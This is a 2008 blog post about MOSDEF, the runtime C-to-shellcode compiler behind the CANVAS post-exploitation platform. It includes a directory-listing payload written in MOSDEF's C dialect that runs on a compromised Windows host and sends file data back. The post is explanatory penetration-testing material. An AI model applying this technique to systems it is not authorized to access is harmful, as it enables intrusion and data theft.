lunes, 25 de agosto de 2008

That little thing called MOSDEF


In a previous post, I gave a small review of the concept behind MOSDEF. I explained that is a runtime C compiler written in Python that builds shellcode for a bunch of architectures/os and that it was used on CANVAS as a post-explotation platform.

Recently I have been writing a file browser. It's a simple task (specially if you have GUI skills, which I don't) and it has the advantage of showing all the potential that MOSDEF can bring to your framework, more over if you compare it with an RPC-based.

For the file-browser, I had to make to obviously list directories (a feature with luckily already had). In an RPC environment, you will have to something like this:

hFind = call("kernel32.dll!FindFirstFile", dir, &FindFileData) print FindFileData.cFileName while call("kernel32.dll!FindNextFile" hFind, &FindFileData) != 0: print FindFileData.cFileName

(In a *nix environment, you will need to system calls, getdents and stat)

It does look nice, but for each file in the directory you have the latency of the remote call been sent and the result returned over the wire (think about as your target on the the remote forests of Xi'an).

Now, in the case of MOSDEF what you need to do is a small C file that does the same thing as python, something like this:

vars={}
vars["dir"]=dir
code="""
#import "string","dir" as "dir"
#import "local","sendstring" as "sendstring"
#import "local","sendint" as "sendint"

#import "remote", "kernel32.dll|FindFirstFileA" as "FindFirstFile"

#import "remote", "kernel32.dll|FindNextFileA" as "FindNextFile"

#import "remote", "kernel32.dll|GetLastError" as "GetLastError"

struct FILETIME {
int dwLowDateTime; int dwHighDateTime; };
struct WIN32_FIND_DATA {
int dwFileAttributes;

struct FILETIME ftCreationTime;
struct FILETIME ftLastAccessTime;
struct FILETIME ftLastWriteTime;

int nFileSizeHigh; int nFileSizeLow;
int dwReserved0;
int dwReserved1;

char cFileName[260];

char cAlternateFileName[14];
};

void sendFILETIME(struct FILETIME *ft) {
sendint(ft->dwLowDateTime);

sendint(ft->dwHighDateTime);

}


void main() {
struct WIN32_FIND_DATA FindFileData;
int hFind;
int Error;
hFind = -1;
hFind = FindFirstFile(dir, &FindFileData);
if(hFind == -1) {
// We send a -1 mean there is no more file to sent
sendint(-1);
Error=GetLastError();
sendint(Error);
return 0;

} else {
sendint(FindFileData.dwFileAttributes);
sendint(FindFileData.nFileSizeLow);
sendFILETIME(&FindFileData.ftLastWriteTime);
sendstring(FindFileData.cFileName);
}

while (FindNextFile(hFind, &FindFileData) != 0) {
sendint(FindFileData.dwFileAttributes);
sendint(FindFileData.nFileSizeLow);
sendFILETIME(&FindFileData.ftLastWriteTime);
sendstring(FindFileData.cFileName);
}

Error = GetLastError();
sendint(-1);
sendint(Error); // IF ERROR_NO_MORE_FILE everything works ok :>
}

"""
self.clearfunctioncache()
request=self.compile(code, vars)
self.sendrequest(request)
countfile=0

files=[]

while 1:
attr = sint32(self.readint())
[...]

Before you mention it or you even think about it, yes, we called "Cripple C" for a good reason.
Anyways, as you imagine, this code gets compiled on your computer and it remotely resolve the addresses of the function needed. Here is the normal output you will see:

Dodir: C:\ kernel32.dll|FindFirstFileA not in cache - retrieving remotely. Getprocaddr_withmalloc: Found kernel32.dll|FindFirstFileA at 7c813559 kernel32.dll|FindNextFileA not in cache - retrieving remotely. Getprocaddr_withmalloc: Found kernel32.dll|FindNextFileA at 7c839019 kernel32.dll|GetLastError not in cache - retrieving remotely. Getprocaddr_withmalloc: Found kernel32.dll|GetLastError at 7c910331

Once MOSDEF had all the address in its cache, it send the piece of code which gets executed, after that just wait for the requested information to came back parsed and ready to be used on your application.

Here is the scoop:



Note: Yes, sometimes I do this kind of job.

No hay comentarios: